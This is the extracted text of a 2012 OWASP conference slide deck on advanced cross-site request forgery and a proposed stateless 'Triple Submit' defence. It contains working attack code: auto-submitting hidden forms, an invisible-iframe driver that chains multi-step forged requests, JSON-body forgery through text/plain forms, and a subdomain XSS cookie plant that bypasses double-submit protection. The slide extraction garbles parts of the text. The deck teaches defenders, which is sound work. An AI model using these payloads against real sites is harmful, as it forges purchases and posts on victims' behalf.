Advanced CSRF and Stateless Anti-CSRF

Advanced CSRF
and
Stateless Anti-CSRF

@johnwilander at OWASP AppSec Research
2012

Frontend developer at
Svenska Handelsbanken

Researcher in application
security
Co-leader OWASP Sweden

@johnwilander
johnwilander.com (music)
johnwilander.se (papers
etc)

Cross-Site Request
Forgery
Request Fo
rgery

Cro
ss-
Sit
e

Cross-Site Request
Forgery
Request Forgery
Cros
s-Si
te
Ph
ish
ing

What’s on your mind? What’s on your mind?
POST POST

I love OWASP! POST POST

I love OWASP! POST POST

John: I love OWASP!

POST I hate OWASP! POST

POST I hate OWASP! POST

John: I hate OWASP!

POST <form id="target" method="POST"
action="https://1-liner.org/form">
John: I hate OWASP! <input type="text" value="I hate
OWASP!" name="oneLiner"/>
<input type="submit"
value="POST"/>
</form>

<script type="text/javascript">
$(document).ready(function() {
$('#form').submit();
});
</script>

<form id="target" method="POST"
action="https://1-liner.org/form">
<input type="text" value="I hate
OWASP!" name="oneLiner"/>
<input type="submit"
value="POST"/>
POST
</form>
John: I hate OWASP!

<script>
$(document).ready(function() {
$('#target').submit();
});
</script>

What about ”several steps”?

Step 1 Step 2 Step 3

State built up i steps, server roundtrip in-between


st
ue ll
r eq wi
ed tep ous
rg t s
o s
F a re vi
l p
to the
m iss

Can we forge timed GETs and
POSTs
in a deterministic, non-blind
way?


1 2 3 4

csrfMultiDriver.html

invisible
iframe

csrfMulti0.html


invisible invisible
iframe iframe

target0.html csrfMulti1.html

Wait


invisible invisible invisible
iframe iframe iframe

target0.html target1.html csrfMulti2.html

Wait


invisible invisible invisible invisible
iframe iframe iframe iframe

target0.html target1.html target2.html csrfMulti3.html

Wait


invisible invisible invisible invisible
iframe iframe iframe iframe

target0.html target1.html target2.html target3.html

Let's look at
An iframed CSRF
Get

Invisible iframe for timed GET

<!DOCTYPE html>
<html>
<head>
<script>
var IFRAME_ID = "0", GET_SRC =
"http://www.vulnerable.com/some.html?param=1";
</script>
<script src="../iframeGetter.js"></script>
</head>
<body onload="IFRAME_GETTER.onLoad()">
Extra easy to CSRF since it's done with HTTP GET.
</body>
</html>

csrfMulti0.ht

The iframed page conﬁgures which
URL to CSRF against via a JavaScript-
<!DOCTYPE html>
variable.
<html>
<head>
<script>
</script>
</head>
</body>
</html>

csrfMulti0.ht

<!DOCTYPE html>
<html>
<head>
<script>
When the iframe'sGET_SRC = done
var IFRAME_ID = "0",
DOM is
loading IFRAME_GETTER.onload() is
</script>
called.
</head>
</body>
</html>

csrfMulti0.ht

<!DOCTYPE html>
<html>
<head>
<script>
Let's"http://www.vulnerable.com/some.html?param=1";
look at
iframeGetter.js …
</script>
</head>
</body>
</html>

csrfMulti0.ht

var imgElement;
}
IFRAME_GETTER.onload() makes sure
that the iframe reports back to the
main page once every second.
} so called heart beat function.
A
};
};
iframeGetter.js

var imgElement;
}
In practice, document.createElement("img");
imgElement = the heart beats are
delivered via postMessage between
the iframe and the main page.
}
};
};
iframeGetter.js

var imgElement;
The GET CSRF is"https://attackr.se:8444");
executed with an

} <img src="vulnerable URL">
}
};
};
iframeGetter.js

var IFRAME_GETTER onerror event will ﬁre
The = {};
IFRAME_GETTER.reportAndGet = function() { does
since the vulnerable URL

not respond with an image. We
var imgElement;
use that event to stop the
heart beat function. No heart
}
beat means the main page
imgElement = this step is done and
knows document.createElement("img");
can continue opening the next
iframe.
}
};
};
iframeGetter.js

Let's look at
An iframed CSRF
Post

<!DOCTYPE html>
<html> Invisible iframe for timed
<head>
<script>
POST
var IFRAME_ID = "1";
</script>
<script src="../iframePoster.js"></script>
</head>
<body onload="IFRAME_POSTER.onLoad()">

action="https://www.vulnerable.com/addBasket.html"
style="visibility:hidden">
<input type="text" name="goodsId"
value="95a0b76bde6b1c76e05e28595fdf5813" />
<input type="text" name="numberOfItems" value="1" />
<input type="text" name="country" value="SWE" />
<input type="text" name="proceed" value="To checkout" />
</form>

</body>
</html>
csrfMulti1.ht

<!DOCTYPE html>
<html>
<head>
<script>
</script>
The vulnerable URL can be
</head>
found in the form to be
posted.
</form>

</body>
</html>
csrfMulti1.ht

<!DOCTYPE html>
<html>
<head>
<script>
When the iframe's DOM is done
loading IFRAME_POSTER.onload()
</script> is
</head>called.

</form>

</body>
</html>
csrfMulti1.ht

<!DOCTYPE html>
<html>
<head>
Let's IFRAME_ID iframePoster.js
<script>
var
look at = "1";
…
</script>
</head>

</form>

</body>
</html>
csrfMulti1.ht



}
if(!IFRAME_POSTER.havePosted) { makes sure
IFRAME_POSTER.onload()
thedocument.forms['target'].submit(); main
iframe reports back to the
IFRAME_POSTER.havePosted = true;
page once every second. Again, a
}
};
heart beat function.
};

iframePoster



The heart beats stop automatically
}
when the POST is done since the
if(!IFRAME_POSTER.havePosted) {
document.forms['target'].submit();
iframe is loaded with thetrue;
IFRAME_POSTER.havePosted = response
}
}; from the web server that got the
POST.
};

iframePoster

The main page conﬁgures the order of
the CSRF steps, opens iframes and …
var CSRF = function(){
var hideIFrames = true,
frames = [
{id: 0, hasPosted: "no", hasOpenedIFrame: false, src: 'csrfMulti0.html'}
,{id: 1, hasPosted: "no", hasOpenedIFrame: false, src: 'csrfMulti1.html'}
],
appendIFrame =
function(frame) {
var domNode = '<iframe src="' + frame.src +
'" height="600" width="400"' +
(hideIFrames ? 'style="visibility: hidden"' : '') +
'></iframe>';
$("body").append(domNode);
};
…

csrfMultiDriver.ht

return { … listens on
checkIFrames : function() {
var frame; heart beats to
for (var i = 0; i < frames.length; i++) {
frame = frames[i]; time every
iframe
if (!frame.hasOpenedIFrame) {
appendIFrame(frame);
frame.hasOpenedIFrame = true;
break; // Only open one iframe at the time
} else if(frame.hasPosted == "no") {
frame.hasPosted = "maybe";
break; // iframe not done posting, wait
} else if(frame.hasPosted == "maybe") {
frame.hasPosted = "yes";
break; // iframe not done posting, wait
} else if (frame.hasPosted == "yes") {
continue; // Time to allow for the next iframe to open
}
}
},

receiveMessage : function(event) {
if (event.origin == "https://attackr.se:8444") {
CSRF.frames[parseInt(event.data)].hasPosted = "no";
// Still on CSRF page so POST not done yet
}
} csrfMultiDriver.ht

Demo Multi-Step,
Semi-Blind CSRF
against amazon.com
which has protection
against this.
The intention is to show
how you can test your
own sites.

There used to be a
protection in web
1.5

Forced Browsing
wizard-style

Shipment info ✉ Payment info $

Next Buy!

Forced Browsing
wizard-style


Token

Next Buy!

Forced Browsing
wizard-style


Re-Auth

Next Buy!

Forced Browsing
wizard-style

Token 1 Token 2 Token 3

Forced Browsing
wizard-style


State built up i steps, server roundtrip in-between

Forced Browsing
wizard-style


fo rge
n’t to
uld est
Co qu
re t step
las out a
w tith oken
va lid

RIA & client-side
state
{
”purchase”: {}
}

RIA & client-side
state
{
”purchase”: {
”items”: [{}]
}
}

RIA & client-side
state
{
”purchase”: {
”items”: [{},{}]
}
}

RIA & client-side
state
{
”purchase”: {
”items”: [{},{}],
”shipment”: {}
}
}

RIA & client-side
state
{
”purchase”: {
”items”: [{},{}],
”shipment”: {},
”payment”: {}
}
}

Can an attacker
forge such a JSON
structure?

CSRF possible?
{
”purchase”: {
”items”: [{},{}],
”shipment”: {},
”payment”: {}
}
}

action="https://vulnerable.1-liner.org:
8444/ws/oneliners">

<input type="text"
name=””
value="" />

<input type="submit" value="Go" />

</form>

8444/ws/oneliners"

<input type="text"
name=””
value="" />


</form>

8444/ws/oneliners"
style="visibility:hidden"
enctype="text/plain">

<input type="text"
name=””
value="" />


</form>

8444/ws/oneliners"
Forms produce a request body that
looks like this:
<input type="text"
name=””
theName=theValue
value="" />
... and that’s not valid JSON.


</form>

8444/ws/oneliners"

<input type="text"
name='{"id": 0, "nickName": "John",
"oneLiner": "I hate OWASP!",
"timestamp": "20111006"}//'
value="dummy" />


</form>

8444/ws/oneliners"
style="visibility:hidden" body that looks
Produces a request
like this:

<input type="text" 0, "nickName":
{"id":
name='{"id": "John","oneLiner": "I
0, "nickName": "John",
hate OWASP!","timestamp":
"20111006"}//=dummy
"timestamp": "20111006"}//'
value="dummy" />
... and that is acceptable JSON!

</form>

8444/ws/oneliners"

<input type="text"
name='{"id": 0, "nickName": "John",
"timestamp": "20111006",
"paddingDummy": "'
value='"}' />


8444/ws/oneliners"
style="visibility:hidden" body that looks
Produces a request
like this:

<input type="text" 0, "nickName":
{"id":
name='{"id": "John","oneLiner": "I
0, "nickName": "John",
hate OWASP!","timestamp":
"20111006",
"timestamp": "20111006",
"paddingDummy": "="}
"paddingDummy": "'
value='"}' />
... and that is JSON!

Demo CSRF POST
then

Demo CSRF + XSS

The Browser Exploitation Framework
http://beefproject.com/

Important in your REST
API
• Restrict do CSRF with GETe.g. POST
Easier to
HTTP method,

• Restrict to AJAX if applicable
X-Requested-With:XMLHttpRequest
Cross-domain AJAX prohibited by default

• Restrict media type(s), e.g.
application/json
HTML forms only allow URL encoded, multi-
part and text/plain

Double Submit
(CSRF Protection)

Double Submit
(CSRF protection)

Anti-CSRF value
as cookie ...

... and
request parameter

Double Submit
(CSRF protection)

cookie ≠
request parameter

Cannot read the
anti-CSRF cookie to
include it as parameter

Double Submit
(CSRF protection)

Anti-CSRF cookie can
be generated client-side
=> no server-side state

Are We Fully
Protected Now?
Of course not

The Other
Subdomain
https://securish.1-liner.org https://other.1-liner.org

Search

Buy!

The Other
Subdomain

<script>alert('XSS')</script> Search

XSS
OK

Buy!

The Other
Subdomain

<script> Search
$.cookie(
"doubleSubmitToken",
"knownValue",
{ path: "/",
domain: ".1-liner.org" });
</script>
Buy!

Demo Subdomain
XSS Double Submit
Bypass

I'm proposing some sort of
Triple Submit
CSRF Protection

Triple Submit
(CSRF protection)

Initial request of
rich internet app

Triple Submit
(CSRF protection)

Random HttpOnly cookie

Cookie value as
JavaScript variable

Triple Submit
(CSRF protection)

Random HttpOnly cookie

Cookie value as
request parameter

Stateful:
Cookie name saved in server session
Stateless:
Server only accepts one such cookie (checks format)

The 3rd Submit
• The server sets an HttpOnly cookie
with a random name and random
value

• The server tells the client the value
of the random cookie, not the name

• The client submits the value of the
cookie as a request parameter

The 3rd Submit
• The server sets an httpOnly cookie
response.setHeader("Set-Cookie",
randomName a random randomValue + ";
with + "=" + name and random
value
HttpOnly; path='/'; domain=.1-liner.org");
• The server tells the client the name
and value of the random cookie

• The Client submits the name and
value of the cookie as a request
parameter

The 3rd Submit
• The server sets an httpOnly cookie
with a random name and random
value
<script>
•
var ANTI_CSRF_TRIPLE the client the name %>;
The server tells = <%= randomValue
</script> value of the random cookie
and

• The Client submits the name and
value of the cookie as a request
parameter

The 3rd Submit

• Cookie value as parameter
• The cookie name
• The cookie value

My Demo System is Being
Released as an OWASP

• https://www.owasp.org/index.php?
title=OWASP_1-Liner

• https://github.com/johnwilander/
owasp-1-liner

Advanced CSRF and Stateless Anti-CSRF

More Related Content

What's hot (20)

Similar to Advanced CSRF and Stateless Anti-CSRF (20)

More from johnwilander (10)

Recently uploaded (20)

Advanced CSRF and Stateless Anti-CSRF

Editor's Notes